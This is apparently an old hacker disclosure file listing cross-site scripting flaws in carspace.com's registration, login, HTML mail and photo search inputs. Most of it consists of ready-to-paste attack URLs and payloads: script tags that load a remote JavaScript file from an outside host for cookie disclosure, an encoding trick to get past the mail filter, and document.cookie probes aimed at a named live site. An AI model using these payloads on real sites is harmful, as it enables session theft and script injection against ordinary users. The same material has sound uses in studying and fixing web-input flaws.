carspace.txt

`Carspace.com  
  
Homepage:  
http://www.carspace.com  
  
Affected files:  
Input boxes of registering  
Login boxes  
sending mail input boxes.  
Searching for photos.  
  
XSS vuln with cookie disclosure via ErrorMessage when registering:  
http://www.carspace.com/?register@@!ErrorMessage=<br><SCRIPT SRC=http://youfucktard.com/x2.js></SCRIPT>.<br><br>  
  
Screenshots:  
http://www.youfucktard.com/xsp/carspace1.jpg  
  
Same XSS vuln with cookie disclosure as above, this time in login box. For PoC put:  
  
http://www.carspace.com/?login@@!EmailAddress=">">">">">'>'>'><"">">"><SCRIPT%20SRC=http://youfucktard.com/x2.js></SCRIPT><"<"<"<"<'<'<"  
  
&ErrorMessage=No%20account%20with%20this%20e-mail%20address.%20Please%20%20sign%20up%20to%20get%20the%20email%20activation%20link.%0A  
  
Screenshot:  
http://www.youfucktard.com/xsp/carspace2.jpg  
  
Sending mail XSS vuln with cookie disclosure:  
  
When sending mail you can enable the option to make a "HTML" email. This should be a no no right off the bat. To bypass their filters still however, we will use a table tag with long UTF-8 uncicode ' so they don't get filtered. For a PoC put the codes below in the body of your mail msg. Make sure "HTML Mail" is checked   
  
in:  
  
<TABLE BACKGROUND=javascript:alert(&#0000039XSS&#0000039)>  
  
And to get the cookie:  
<TABLE BACKGROUND=javascript:alert(document.cookie)>  
  
Img tags work as well. Script tags seem to get filtered out, even with html enabled.  
  
Screenshots:  
http://www.youfucktard.com/xsp/carspace3.jpg  
http://www.youfucktard.com/xsp/carspace4.jpg  
http://www.youfucktard.com/xsp/carspace5.jpg  
  
-------------------------------------------------  
  
Searching/Browsing for photos XSS vuln.  
  
Data isn't properly sanatized before being generated. For a PoC try putting the code below in the "Keywords" box:  
<TABLE BACKGROUND=javascript:alert(&#0000039XSS&#0000039)> in the photo search box.  
  
Screenshots:  
http://www.youfucktard.com/xsp/carspace6.jpg  
`